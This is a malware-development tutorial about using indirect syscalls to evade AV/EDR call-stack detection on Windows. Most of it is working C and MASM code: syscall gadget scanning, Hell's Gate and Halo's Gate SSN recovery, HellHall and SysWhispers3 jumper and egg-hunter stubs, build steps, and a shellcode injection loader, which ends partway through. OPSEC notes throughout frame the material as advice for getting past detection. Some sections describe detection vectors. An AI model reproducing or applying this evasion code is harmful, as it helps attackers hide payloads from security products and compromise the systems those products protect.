ᛉ Yggdrasil

Malware development

Indirect Syscalls in AV/EDR Evasion

08 Oct 2026 · 9,343 words · 42 min

Contents

The definitive deep-dive into indirect syscall techniques — the evolution beyond direct syscalls for bypassing modern AV/EDR call-stack-aware detection on Windows.

Legend: [DETECT] = Detection vector | [OPSEC] = Operational Security note | [EDR] = EDR hook behavior | [WIN] = Windows internals concept | [TOOL] = Tool reference | [ASM] = Assembly required | [C] = C code | [CS] = C# / .NET | [PS] = PowerShell | [IOC] = Indicator of Compromise | [NEW] = Post-2023 technique


1. Why Indirect Syscalls — The Problem with Direct Syscalls

Direct syscalls let you bypass EDR inline hooks on ntdll.dll by embedding the syscall instruction directly in your code. But modern EDRs evolved past hook-checking alone — they now inspect the call stack at the moment a syscall fires.

The Direct Syscall Problem

When your loader contains a direct syscall stub like:

; Your direct syscall stub — inside your .exe memory
MyNtAllocateVirtualMemory:
    mov r10, rcx
    mov eax, 0x18        ; SSN for NtAllocateVirtualMemory
    syscall              ; ← THIS executes inside YOUR memory (anonymous RWX region)
    ret

The EDR looks at where syscall was called from. The return address on the stack points back into your .exe or an anonymous RWX memory region. This is a massive [IOC].

Detection Surface: Direct vs. Indirect vs. Normal

─────────────────────────────────────────────────────────────────────────
NORMAL API CALL (ntdll unhooked):

  Your Loader → VirtualAlloc() [kernel32.dll]
      → NtAllocateVirtualMemory() [ntdll.dll] ← EDR hook HERE
          → syscall [inside ntdll] → kernel

CALL STACK (seen by EDR during syscall):
    ntdll!NtAllocateVirtualMemory+0x0c ← ntdll is top of stack (NORMAL)
    KernelBase!VirtualAlloc+0x4b
    YourLoader!main+0x1a

─────────────────────────────────────────────────────────────────────────
DIRECT SYSCALL (bypass hooks, but anomalous stack):

  Your Loader → CustomStub [in .exe RWX memory]
      → syscall [inside YOUR memory] → kernel

CALL STACK (seen by EDR during syscall):
    YourLoader!CustomStub+0x9 ← .exe AT TOP → RED FLAG [IOC]
    YourLoader!main+0x3a

─────────────────────────────────────────────────────────────────────────
INDIRECT SYSCALL (bypass hooks AND clean stack):

  Your Loader → CustomStub [in .exe]
      → JMP to ntdll!NtAllocateVirtualMemory+0xc ← jumps INTO ntdll
          → syscall [inside ntdll] → kernel

CALL STACK (seen by EDR during syscall):
    ntdll!NtAllocateVirtualMemory+0x0c ← ntdll is top (LOOKS LEGITIMATE)
    YourLoader!main+0x3a

─────────────────────────────────────────────────────────────────────────

Comparison Table

Technique Hook Bypass Stack Origin Return Address Detected by Stack Analysis
Normal Win32 API ❌ Hooked ntdll ntdll ✅ Legitimate
Direct Syscall ✅ Bypasses hook Your .exe Your .exe ⚠️ Detected (anomalous)
Indirect Syscall ✅ Bypasses hook ntdll ntdll ✅ Appears legitimate
Indirect + Stack Spoof ✅ Bypasses hook Fake frames Fake ntdll/kernel32 ✅ Highly convincing

[OPSEC] Kernel callbacks (PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks) still fire regardless of direct or indirect syscalls. ETW-Ti in STACKWALK mode (Windows 10+ with modern EDR) can still catch anomalies. Indirect syscalls defeat userland hook checks and basic return address inspection, but are not a magic bullet.


2. How EDRs Detect Direct Syscalls — The Call Stack Problem

2.1 Userland Return Address Check

When an EDR hooks NtAllocateVirtualMemory, part of its hook logic checks where the call came from:

// What EDR hook code conceptually does:
NTSTATUS HookedNtAllocateVirtualMemory(...) {
    // Get the return address — where will execution go AFTER this call?
    void* returnAddr = _ReturnAddress();

    // Is this return address inside a known, signed module?
    if (!IsAddressInSignedModule(returnAddr)) {
        // Address is in anonymous memory / your .exe — SUSPICIOUS
        Log("Suspicious syscall from: %p", returnAddr);
        // Block or alert
    }

    // Call the real function
    return RealNtAllocateVirtualMemory(...);
}

With direct syscalls, you bypass the hook entirely — so this check never runs. BUT the EDR can also use ETW events and kernel-mode stack walking that capture the call stack AFTER the syscall returns, even without an active hook.

2.2 ETW-Ti Stack Walking

Windows provides EtwTi (ETW Threat Intelligence) that captures syscall events at the kernel level. With STACKWALK mode enabled, the kernel records the usermode call stack at the time of each syscall. This happens after the syscall instruction, not through userland hooks.

[WIN] ETW-Ti can capture:
  - Which process made the syscall
  - The FULL user-mode call stack at the time of syscall
  - The memory region the syscall originated from
  - The RIP (instruction pointer) at the time of syscall

[DETECT] If syscall fires from memory not backed by a signed PE (e.g., RWX shellcode pages, your .exe), ETW-Ti flags it. This is what indirect syscalls solve.

2.3 The Specific IOCs of Direct Syscalls

IOC 1: syscall instruction in non-ntdll memory
        ─ EDR sees syscall originating from your RWX page or .exe section
        ─ No legitimate Windows program ever calls syscall directly

IOC 2: Return address points to unknown memory
        ─ After syscall, RET goes back into your stub
        ─ That address isn't in any signed module

IOC 3: No ntdll frame at top of call stack
        ─ Legitimate calls always show ntdll!NtXxx at the top
        ─ Direct syscalls skip ntdll entirely, so it's absent

IOC 4: syscall stub pattern in memory (scanner detection)
        ─ Strings of bytes: 4C 8B D1 B8 ?? 00 00 00 0F 05
        ─ Memory scanners can find this pattern in your code

3. Indirect Syscall Core Concept — Borrowing ntdll's syscall Instruction

The key insight: you don't need to execute syscall from your own memory. You can set up all the arguments and the SSN, then jump into ntdll right before the syscall instruction. ntdll executes syscall on your behalf, so from the EDR's perspective, ntdll is the origin.

The Anatomy of an ntdll Syscall Stub

Every Nt* function in ntdll follows this exact pattern:

; NtAllocateVirtualMemory in ntdll.dll (unhooked)
; Bytes: 4C 8B D1   B8 18 00 00 00   0F 05   C3

NtAllocateVirtualMemory:
    +0x00:  4C 8B D1        mov r10, rcx        ; Windows ABI: copy RCX to R10
    +0x03:  B8 18 00 00 00  mov eax, 0x18       ; Load SSN into EAX
    +0x08:  0F 05           syscall             ; ← THE syscall INSTRUCTION (offset +8)
    +0x0A:  C3              ret                 ; Return to caller

For an indirect syscall, you want to jump to offset +0x08 — the syscall instruction itself. Then: - You've already loaded the SSN into eax (your stub does this) - You jump into ntdll at the syscall instruction - The syscall fires from within ntdll memory - The ret after syscall (at +0x0A) returns to YOUR code - Stack shows ntdll at top → looks legitimate

Visual: What the Stack Looks Like

BEFORE JMP (inside your stub):
─────────────────────────────
RSP → [return address to YOUR loader]
RCX = arg1, RDX = arg2, R8 = arg3, R9 = arg4
RAX = 0x18 (SSN)

JMP to ntdll!NtAllocateVirtualMemory+0x8
─────────────────────────────
NOW EXECUTING: 0F 05  (syscall) ← inside ntdll memory
RSP → [return address to YOUR loader]

KERNEL EXECUTES SYSCALL
─────────────────────────────

RET at ntdll+0x0A executes
RSP → next frame in YOUR loader

CALL STACK AT MOMENT OF SYSCALL (what EDR sees):
─────────────────────────────
ntdll!NtAllocateVirtualMemory+0x8  ← TOP FRAME (looks normal!)
YourLoader!InjectPayload+0x3a      ← Your code below
YourLoader!main+0x12

[WIN] The syscall instruction flushes the return address to the kernel's KTHREAD. The usermode call stack captured during the syscall shows the frame that called INTO the syscall instruction — which is ntdll!NtAllocateVirtualMemory+0x8 in the indirect case.


4. Finding the syscall Gadget Address Inside ntdll

Before you can do indirect syscalls, you need to find the address of the syscall instruction (0F 05) inside ntdll. There are multiple approaches.

4.1 Method A — Scan from Function Start (Fixed Offset)

For unhooked functions, the syscall instruction is always at offset +0x8 from the function start:

// [C] Find syscall instruction at fixed offset (+0x8) from ntdll export
PVOID GetSyscallAddress(PCSTR functionName) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PBYTE funcAddr = (PBYTE)GetProcAddress(hNtdll, functionName);

    // In unhooked ntdll, syscall is always at offset +0x8
    // Verify the bytes: 0F 05 = syscall
    if (funcAddr[8] == 0x0F && funcAddr[9] == 0x05) {
        return (PVOID)(funcAddr + 8);
    }

    // Function is hooked (starts with E9 JMP or CC INT3)
    // Need to find syscall elsewhere — see Section 4.3 (Neighbor Scan)
    return NULL;
}

4.2 Method B — Byte Pattern Scan of ntdll .text Section

Scan ntdll's entire .text section for syscall; ret gadgets (0F 05 C3):

// [C] Scan ntdll .text section for all syscall gadgets
// Returns first syscall;ret gadget found in ntdll

typedef struct _SYSCALL_GADGET {
    PVOID  Address;
    BOOL   Found;
} SYSCALL_GADGET, *PSYSCALL_GADGET;

PVOID FindSyscallGadgetInNtdll(void) {
    HMODULE hNtdll    = GetModuleHandleA("ntdll.dll");
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS pNt  = (PIMAGE_NT_HEADERS)((PBYTE)hNtdll + pDos->e_lfanew);

    // Find .text section
    PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
    for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
        if (memcmp(pSection->Name, ".text", 5) == 0) {
            PBYTE start = (PBYTE)hNtdll + pSection->VirtualAddress;
            DWORD  size  = pSection->Misc.VirtualSize;

            // Scan for: 0F 05 C3 (syscall; ret)
            for (DWORD j = 0; j < size - 2; j++) {
                if (start[j] == 0x0F && start[j+1] == 0x05 && start[j+2] == 0xC3) {
                    return (PVOID)(start + j);  // Address of the syscall instruction
                }
            }
        }
        pSection++;
    }
    return NULL;
}

4.3 Method C — Neighbor Function Scan (When Target is Hooked)

If your target function is hooked, scan adjacent Nt* functions to find their syscall address (they share the same ntdll .text section):

// [C] If NtXxx is hooked, walk to adjacent syscalls in ntdll
// Based on Hell's Gate neighbor scanning logic (Halo's Gate variant)

BOOL GetSyscallAddrFromNeighbor(
    PBYTE   hookedFunc,
    PVOID  *pSyscallAddr
) {
    // Scan up to 32 adjacent functions
    for (WORD i = 1; i < 32; i++) {

        // Scan forward (+i stubs away)
        // ntdll stubs are roughly 0x20 bytes each
        PBYTE candidate = hookedFunc + (i * 0x20);

        // Check if this neighbor is unhooked
        if (candidate[0] == 0x4C && candidate[1] == 0x8B && candidate[2] == 0xD1  // mov r10, rcx
            && candidate[3] == 0xB8)                                                // mov eax, ...
        {
            // Found unhooked neighbor
            if (candidate[8] == 0x0F && candidate[9] == 0x05) {
                *pSyscallAddr = (PVOID)(candidate + 8);
                return TRUE;
            }
        }

        // Scan backward (-i stubs away)
        candidate = hookedFunc - (i * 0x20);
        if (candidate[0] == 0x4C && candidate[1] == 0x8B && candidate[2] == 0xD1
            && candidate[3] == 0xB8)
        {
            if (candidate[8] == 0x0F && candidate[9] == 0x05) {
                *pSyscallAddr = (PVOID)(candidate + 8);
                return TRUE;
            }
        }
    }
    return FALSE;
}

[OPSEC] All three methods give you the same type of address — a pointer to 0F 05 bytes inside ntdll. Any of them work as the JMP target. The neighbor scan is most robust because it handles hooked functions.


5. Writing the Indirect Syscall Stub (MASM Assembly)

This is the core of indirect syscalls. The stub sets up the calling convention, loads the SSN, and then jumps into ntdll instead of executing syscall itself.

5.1 Global Variables for the Stub

The MASM stub reads two globals that your C code fills in at runtime:

// [C] Header (syscalls.h) — globals that bridge C → MASM

extern DWORD  dwSSN;          // Syscall Service Number to use
extern PVOID  pSyscallAddr;   // Address of syscall instruction in ntdll

// Functions declared in MASM (syscalls.asm)
extern VOID   PrepSyscall(DWORD ssn, PVOID syscallInstr);
extern NTSTATUS IndirectSyscall(...);

5.2 The MASM Stub File (syscalls.asm)

; [ASM] syscalls.asm — Indirect Syscall MASM Implementation
; Compile with: ml64.exe /c syscalls.asm

.data
    dwSSN       DWORD   0       ; Will be set by C code before each syscall
    pSyscallAddr QWORD  0       ; Address of syscall;ret gadget in ntdll

.code

; PrepSyscall(DWORD ssn, PVOID syscallInstrAddr)
; Called from C to set up SSN and syscall gadget address before invoking IndirectSyscall
PrepSyscall PROC
    mov dwSSN, ecx             ; Store SSN (1st arg = RCX)
    mov pSyscallAddr, rdx      ; Store syscall address (2nd arg = RDX)
    ret
PrepSyscall ENDP


; IndirectSyscall — The actual indirect call
; Arguments are already in RCX, RDX, R8, R9, [RSP+28h], ...
; This stub DOES NOT execute syscall itself — it JMPs into ntdll
IndirectSyscall PROC
    mov r10, rcx               ; Windows x64 calling convention requires this
    mov eax, dwSSN             ; Load Syscall Service Number into EAX
    jmp QWORD PTR [pSyscallAddr] ; JMP to syscall instruction inside ntdll
    ret                        ; We never reach this — ntdll's ret returns instead
IndirectSyscall ENDP

END

[WIN] After jmp into ntdll, the syscall instruction there uses the return address already on the stack (which is the address inside your C code that called IndirectSyscall). ntdll's ret after syscall pops that address and returns to your code. The net result is transparent — as if ntdll made the syscall itself.

5.3 C Wrapper — Putting It Together

// [C] Full indirect syscall wrapper for NtAllocateVirtualMemory

#include <windows.h>
#include "syscalls.h"   // Contains PrepSyscall, IndirectSyscall declarations

// Resolve SSN + syscall gadget at startup
typedef struct _INDIRECT_SYSCALL {
    DWORD  SSN;
    PVOID  SyscallAddr;
} INDIRECT_SYSCALL, *PINDIRECT_SYSCALL;

BOOL ResolveIndirectSyscall(PCSTR funcName, PINDIRECT_SYSCALL pResult) {
    HMODULE   ntdll    = GetModuleHandleA("ntdll.dll");
    PBYTE     funcAddr = (PBYTE)GetProcAddress(ntdll, funcName);
    if (!funcAddr) return FALSE;

    // Check if hooked (first bytes are JMP = E9, or INT3 = CC)
    if (funcAddr[0] == 0x4C && funcAddr[3] == 0xB8) {
        // Unhooked — read SSN from bytes 4-7
        pResult->SSN = *(DWORD*)(funcAddr + 4);

        // syscall is at offset +8
        if (funcAddr[8] == 0x0F && funcAddr[9] == 0x05) {
            pResult->SyscallAddr = (PVOID)(funcAddr + 8);
            return TRUE;
        }
    }

    // Hooked — use neighbor scan
    return GetSyscallAddrFromNeighbor(funcAddr, &pResult->SyscallAddr);
}


// Usage: Indirect NtAllocateVirtualMemory
NTSTATUS IndirectNtAllocateVirtualMemory(
    HANDLE  ProcessHandle,
    PVOID  *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG   AllocationType,
    ULONG   Protect
) {
    INDIRECT_SYSCALL sc = { 0 };
    if (!ResolveIndirectSyscall("NtAllocateVirtualMemory", &sc)) {
        return STATUS_UNSUCCESSFUL;
    }

    // Set up SSN and gadget address for the MASM stub
    PrepSyscall(sc.SSN, sc.SyscallAddr);

    // Call the MASM stub — it will JMP into ntdll's syscall
    return (NTSTATUS)IndirectSyscall(
        ProcessHandle,
        BaseAddress,
        ZeroBits,
        RegionSize,
        AllocationType,
        Protect
    );
}

5.4 Alternative: Inline Assembly (Clang / MinGW)

For compilers that support inline asm, you can avoid a separate .asm file:

// [C] Indirect syscall via inline assembly (Clang / GCC / MinGW compatible)
// No separate .asm file needed

NTSTATUS IndirectSyscallInline(
    DWORD  ssn,
    PVOID  syscallGadget,
    HANDLE hProcess,
    PVOID *pBaseAddr,
    ULONG_PTR zeroBits,
    PSIZE_T regionSize,
    ULONG  allocType,
    ULONG  protect
) {
    NTSTATUS status = 0;

    __asm__ __volatile__ (
        "mov r10, rcx\n\t"      // Windows ABI
        "mov eax, %[ssn]\n\t"   // SSN
        "jmp %[gadget]\n\t"     // Jump into ntdll
        : "=a"(status)
        : [ssn]"r"(ssn),
          [gadget]"r"(syscallGadget),
          "c"(hProcess),
          "d"(pBaseAddr)
        : "r10", "r8", "r9"
    );

    return status;
}

[OPSEC] The inline asm approach is simpler but less portable. MASM .asm stub works with MSVC and gives you cleaner separation of the stub logic.


6. HellHall — Indirect Syscalls + Hell's Gate Combined

HellHall is the canonical combined technique from MaldevAcademy (Jan 2023) that pairs Hell's Gate dynamic SSN resolution with indirect syscall execution. It is one of the most referenced open-source implementations.

  • GitHub: github.com/Maldev-Academy/HellHall
  • Language: C + MASM
  • Key feature: Dynamically resolves SSN (no hardcoding) + jumps to ntdll gadget

6.1 Hell's Gate SSN Resolution (Recap)

// [C] Hell's Gate: dynamically read SSN from ntdll stub bytes
BOOL GetSSN_HellsGate(PCSTR funcName, PDWORD pSSN) {
    HMODULE ntdll    = GetModuleHandleA("ntdll.dll");
    PBYTE   funcAddr = (PBYTE)GetProcAddress(ntdll, funcName);
    if (!funcAddr) return FALSE;

    // Unhooked: check for mov r10,rcx (4C 8B D1) then mov eax,SSN (B8 xx 00 00 00)
    if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1
        && funcAddr[3] == 0xB8)
    {
        // SSN is bytes 4-7
        *pSSN = *(DWORD*)(funcAddr + 4);
        return TRUE;
    }

    // Hooked: first bytes are E9 (JMP) or CC (INT3) — need Halo's Gate recovery
    return FALSE;
}

6.2 HellHall MASM Stub

The HellHall MASM stub is the "magic" — SSN and gadget address are stored as globals, and the stub JMPs to ntdll:

; [ASM] HellHall/AsmHell.asm — the actual HellHall stub
; Source: github.com/Maldev-Academy/HellHall

.data
    dwSSN          DWORD 0
    qAddr          QWORD 0     ; Address of syscall instruction inside ntdll

.code

; void PrepareSyscall(DWORD SSN, PVOID SyscallInstructionAddr)
PrepareSyscall PROC
    mov dwSSN, ecx
    mov qAddr, rdx
    ret
PrepareSyscall ENDP


; HellHall — the indirect syscall stub
HellHall PROC
    mov r10, rcx
    mov eax, dwSSN
    jmp QWORD PTR [qAddr]     ; Jump to syscall;ret inside ntdll
HellHall ENDP

END

6.3 Full HellHall Usage Flow

// [C] Complete HellHall flow for NtAllocateVirtualMemory

typedef struct _SYSCALL_ENTRY {
    DWORD   SSN;
    PVOID   SyscallInstrAddr;
    BOOL    Ready;
} SYSCALL_ENTRY;

// Resolve a single syscall entry using HellHall approach
BOOL InitSyscallEntry(PCSTR funcName, PSYSCALL_ENTRY entry) {
    HMODULE ntdll    = GetModuleHandleA("ntdll.dll");
    PBYTE   funcAddr = (PBYTE)GetProcAddress(ntdll, funcName);

    // Check if unhooked
    if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1
        && funcAddr[3] == 0xB8 && funcAddr[8] == 0x0F && funcAddr[9] == 0x05) {
        entry->SSN            = *(DWORD*)(funcAddr + 4);
        entry->SyscallInstrAddr = (PVOID)(funcAddr + 8);
        entry->Ready          = TRUE;
        return TRUE;
    }

    // Hooked scenario: use neighbor scan for both SSN and syscall address
    for (WORD i = 1; i < 32; i++) {
        // Check higher neighbor
        PBYTE up = funcAddr + (i * 0x20);
        if (up[0] == 0x4C && up[3] == 0xB8 && up[8] == 0x0F && up[9] == 0x05) {
            // SSN of neighbor is (target SSN) = neighbor SSN - i
            entry->SSN            = *(DWORD*)(up + 4) - i;
            entry->SyscallInstrAddr = (PVOID)(up + 8);
            entry->Ready          = TRUE;
            return TRUE;
        }
        // Check lower neighbor
        PBYTE down = funcAddr - (i * 0x20);
        if (down[0] == 0x4C && down[3] == 0xB8 && down[8] == 0x0F && down[9] == 0x05) {
            entry->SSN            = *(DWORD*)(down + 4) + i;
            entry->SyscallInstrAddr = (PVOID)(down + 8);
            entry->Ready          = TRUE;
            return TRUE;
        }
    }
    return FALSE;
}

// Allocate shellcode memory using HellHall indirect syscall
PVOID AllocateShellcodeMemory(SIZE_T size) {
    SYSCALL_ENTRY sc = { 0 };
    if (!InitSyscallEntry("NtAllocateVirtualMemory", &sc))
        return NULL;

    // Set up for MASM stub
    PrepareSyscall(sc.SSN, sc.SyscallInstrAddr);

    PVOID    base   = NULL;
    SIZE_T   rSize  = size;
    HANDLE   hProc  = (HANDLE)-1;  // Current process

    // Call MASM stub — it JMPs into ntdll
    NTSTATUS status = HellHall(
        hProc,
        &base,
        0,
        &rSize,
        MEM_COMMIT | MEM_RESERVE,   // 0x3000
        PAGE_READWRITE              // 0x04 — RW first, not RWX
    );

    if (!NT_SUCCESS(status)) return NULL;
    return base;
}

6.4 Build Instructions (MSVC + MASM)

# [TOOL] Build HellHall with MASM on Windows

# 1. Compile MASM stub
ml64.exe /c AsmHell.asm /Fo AsmHell.obj

# 2. Compile C code
cl.exe /c main.c hellhall.c /Fo main.obj hellhall.obj

# 3. Link together
link.exe /OUT:loader.exe main.obj hellhall.obj AsmHell.obj /SUBSYSTEM:CONSOLE

# Via Visual Studio: Add .asm file to project, set build customization to MASM (ml64)

7. SysWhispers3 — Jumper Mode (Automated Indirect Syscalls)

SysWhispers3 extends SysWhispers2 with a --method jumper option that generates indirect syscall stubs automatically. Instead of embedding a syscall instruction, the generated stub locates and JMPs into ntdll's syscall instruction at runtime.

7.1 Generating Jumper Mode Stubs

# [TOOL] SysWhispers3 — Jumper mode (indirect syscalls)
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3

# Generate indirect syscall stubs (MSVC x64)
python syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
    --output indirect_sc \
    --arch x64 \
    --compiler msvc \
    --method jumper

# Outputs:
#   indirect_sc.h      ← Type definitions and function prototypes
#   indirect_sc.c      ← SSN resolution and gadget address logic
#   indirect_sc-asm.x64.asm  ← MASM stub with JMP → ntdll

# Generate for MinGW (cross-compile from Linux)
python syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
    --output indirect_sc_mingw \
    --arch x64 \
    --compiler mingw \
    --method jumper

# Outputs:
#   indirect_sc_mingw.h
#   indirect_sc_mingw.c
#   indirect_sc_mingw-asm.x64.s  ← GAS assembly (inline or separate)

# Randomized jumper — picks a random ntdll gadget each call (harder to pattern-match)
python syswhispers.py \
    --functions NtAllocateVirtualMemory,NtCreateThreadEx \
    --output indirect_rand \
    --method jumper_randomized

# Using preset (common NT functions)
python syswhispers.py --preset common --output sc_common --method jumper

7.2 What the Generated Jumper Stub Looks Like

; [ASM] SysWhispers3 jumper mode generated stub (simplified)
; indirect_sc-asm.x64.asm

.code

NtAllocateVirtualMemory PROC
    mov [rsp + 8], rcx          ; Save arguments to shadow space
    mov [rsp + 16], rdx
    mov [rsp + 24], r8
    mov [rsp + 32], r9

    sub rsp, 28h                ; Allocate shadow space

    mov ecx, 0C0DB1012h         ; Function hash (not the actual name)
    call SW3_GetSyscallNumber   ; Resolve SSN dynamically

    add rsp, 28h
    mov r15, rax                ; Save SSN in R15

    mov ecx, 0C0DB1012h
    call SW3_GetSyscallAddress  ; Get address of syscall;ret in ntdll

    mov r11, rax                ; R11 = syscall gadget address

    ; Restore arguments
    mov rcx, [rsp + 8]
    mov rdx, [rsp + 16]
    mov r8,  [rsp + 24]
    mov r9,  [rsp + 32]

    mov r10, rcx
    mov eax, r15d               ; Load SSN
    jmp r11                     ; ← JMP into ntdll syscall gadget

NtAllocateVirtualMemory ENDP

END

7.3 Integrating Into Visual Studio

1. Copy generated files (indirect_sc.h, indirect_sc.c, indirect_sc-asm.x64.asm)
   into your Visual Studio project directory

2. In Project → Build Customizations → Enable "masm(.targets, .props)"

3. In Solution Explorer → Add Existing Item → add the .asm file

4. Right-click .asm file → Properties
   → General → Item Type: "Microsoft Macro Assembler"

5. In your C code:
   #include "indirect_sc.h"

6. Call functions directly:
   NtAllocateVirtualMemory(hProc, &base, 0, &size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
   // No hook — jumps into ntdll syscall transparently

7.4 Integrating With MinGW (Linux Cross-Compile)

# [TOOL] Cross-compile indirect syscall loader from Linux

# Generate MinGW stubs
python3 syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
    --output sc \
    --compiler mingw \
    --method jumper

# Compile
x86_64-w64-mingw32-gcc \
    loader.c sc.c sc-asm.x64.s \
    -o loader.exe \
    -masm=intel \
    -Wall -s \
    -lntdll

# Strip debug symbols
x86_64-w64-mingw32-strip loader.exe

8. SysWhispers3 — Egg Hunter Mode (Obfuscated Indirect Syscalls)

Egg Hunter mode goes further — it replaces the syscall instruction in the stubs with a random 8-byte marker (the "egg"). At runtime, a separate routine scans memory for the egg and patches it with the real syscall instruction. This defeats memory scanners looking for 0F 05 in your code.

8.1 Generate Egg Hunter Stubs

# [TOOL] SysWhispers3 — Egg Hunter mode
python syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
    --output sc_egg \
    --method egg_hunter \
    --arch x64 \
    --compiler msvc

# The generated stubs contain a random 8-byte marker instead of 0F 05
# Example stub:
#   mov eax, SSN
#   DB 0xDE 0xAD 0xBE 0xEF 0xDE 0xAD 0xBE 0xEF  ← random egg (no 0F 05)
#   ret

8.2 Egg Replacement Logic

// [C] EggHunter runtime — replaces egg marker with actual syscall;ret before use

#define EGG_MARKER  "\xDE\xAD\xBE\xEF\xDE\xAD\xBE\xEF"  // 8-byte egg

BOOL PatchEggWithSyscall(PVOID stubAddr, SIZE_T stubSize) {
    BYTE syscallRet[] = { 0x0F, 0x05, 0xC3 };  // syscall; ret

    for (SIZE_T i = 0; i < stubSize - 8; i++) {
        if (memcmp((PBYTE)stubAddr + i, EGG_MARKER, 8) == 0) {
            // Make stub writable
            DWORD oldProt = 0;
            VirtualProtect((PBYTE)stubAddr + i, 8, PAGE_EXECUTE_READWRITE, &oldProt);

            // Patch: replace egg with 0F 05 C3 + padding
            memcpy((PBYTE)stubAddr + i, syscallRet, 3);
            memset((PBYTE)stubAddr + i + 3, 0x90, 5);  // NOP padding

            // Restore protection
            VirtualProtect((PBYTE)stubAddr + i, 8, oldProt, &oldProt);
            return TRUE;
        }
    }
    return FALSE;
}

[OPSEC] The Egg Hunter approach prevents static signature detection of 0F 05 in your binary on disk. Combined with jumper mode, no syscall byte exists in your code at rest OR at call time (the actual syscall fires from ntdll). It's layered evasion.


9. Halos Gate + Indirect Syscalls (Hooked Function Recovery)

When the ntdll function you need is hooked (first bytes replaced with JMP), you can't read the SSN directly. Halo's Gate scans adjacent functions to reconstruct the SSN, then pairs with indirect syscall for execution.

9.1 Halo's Gate SSN Recovery Logic

// [C] Halo's Gate — recover SSN when target function is hooked

typedef struct _HALO_SYSCALL {
    DWORD   SSN;
    PVOID   SyscallAddr;
    BOOL    Recovered;
} HALO_SYSCALL, *PHALO_SYSCALL;

BOOL HalosGate_GetSyscall(PCSTR funcName, PHALO_SYSCALL pSc) {
    HMODULE ntdll    = GetModuleHandleA("ntdll.dll");
    PBYTE   funcAddr = (PBYTE)GetProcAddress(ntdll, funcName);
    if (!funcAddr) return FALSE;

    // Case 1: Unhooked — straightforward
    if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1
        && funcAddr[3] == 0xB8 && funcAddr[8] == 0x0F && funcAddr[9] == 0x05) {
        pSc->SSN         = *(DWORD*)(funcAddr + 4);
        pSc->SyscallAddr = (PVOID)(funcAddr + 8);
        pSc->Recovered   = FALSE;
        return TRUE;
    }

    // Case 2: Hooked (E9 JMP or CC INT3 at start)
    if (funcAddr[0] == 0xE9 || funcAddr[0] == 0xCC) {
        // Scan adjacent Nt* stubs
        for (WORD i = 1; i <= 32; i++) {
            // Scan up (+i away, SSN will be targetSSN - i)
            PBYTE up = funcAddr + (i * 0x20);
            if (up[0] == 0x4C && up[1] == 0x8B && up[2] == 0xD1
                && up[3] == 0xB8 && up[8] == 0x0F && up[9] == 0x05) {
                pSc->SSN         = *(DWORD*)(up + 4) - i;
                pSc->SyscallAddr = (PVOID)(up + 8);  // Use neighbor's syscall addr
                pSc->Recovered   = TRUE;
                return TRUE;
            }

            // Scan down (-i away, SSN will be targetSSN + i)
            PBYTE down = funcAddr - (i * 0x20);
            if (down[0] == 0x4C && down[1] == 0x8B && down[2] == 0xD1
                && down[3] == 0xB8 && down[8] == 0x0F && down[9] == 0x05) {
                pSc->SSN         = *(DWORD*)(down + 4) + i;
                pSc->SyscallAddr = (PVOID)(down + 8);
                pSc->Recovered   = TRUE;
                return TRUE;
            }
        }
    }

    return FALSE;  // Could not recover
}

9.2 Full Halo's Gate + Indirect Syscall Example

// [C] Inject shellcode using Halo's Gate + Indirect Syscalls
// Works even when EDR has hooked ntdll functions

#include "hellhall.h"    // HellHall MASM stub (Section 6)

BOOL InjectShellcode(PBYTE shellcode, SIZE_T shellcodeSize) {
    HALO_SYSCALL scAlloc  = { 0 };
    HALO_SYSCALL scWrite  = { 0 };
    HALO_SYSCALL scProt   = { 0 };
    HALO_SYSCALL scThread = { 0 };

    // Resolve all required syscalls (Halo's Gate recovers if hooked)
    if (!HalosGate_GetSyscall("NtAllocateVirtualMemory", &scAlloc))  return FALSE;
    if (!HalosGate_GetSyscall("NtWriteVirtualMemory",    &scWrite))  return FALSE;
    if (!HalosGate_GetSyscall("NtProtectVirtualMemory",  &scProt))   return FALSE;
    if (!HalosGate_GetSyscall("NtCreateThreadEx",        &scThread)) return FALSE;

    printf("[*] NtAllocateVirtualMemory SSN: 0x%02X (recovered: %s)\n",
           scAlloc.SSN, scAlloc.Recovered ? "YES" : "NO");

    PVOID   base   = NULL;
    SIZE_T  rSize  = shellcodeSize;
    HANDLE  hProc  = (HANDLE)-1;
    HANDLE  hThread = NULL;
    NTSTATUS status;

    // Step 1: Allocate RW memory (indirect syscall)
    PrepareSyscall(scAlloc.SSN, scAlloc.SyscallAddr);
    status = HellHall(hProc, &base, 0, &rSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    if (!NT_SUCCESS(status)) { printf("[-] Alloc failed: 0x%08X\n", status); return FALSE; }
    printf("[+] Allocated at: %p\n", base);

    // Step 2: Write shellcode (indirect syscall)
    SIZE_T bytesWritten = 0;
    PrepareSyscall(scWrite.SSN, scWrite.SyscallAddr);
    status = HellHall(hProc, base, shellcode, shellcodeSize, &bytesWritten);
    if (!NT_SUCCESS(status)) { printf("[-] Write failed: 0x%08X\n", status); return FALSE; }
    printf("[+] Wrote %zu bytes\n", bytesWritten);

    // Step 3: Change to RX (no RWX!) (indirect syscall)
    DWORD oldProt = 0;
    SIZE_T protSize = shellcodeSize;
    PrepareSyscall(scProt.SSN, scProt.SyscallAddr);
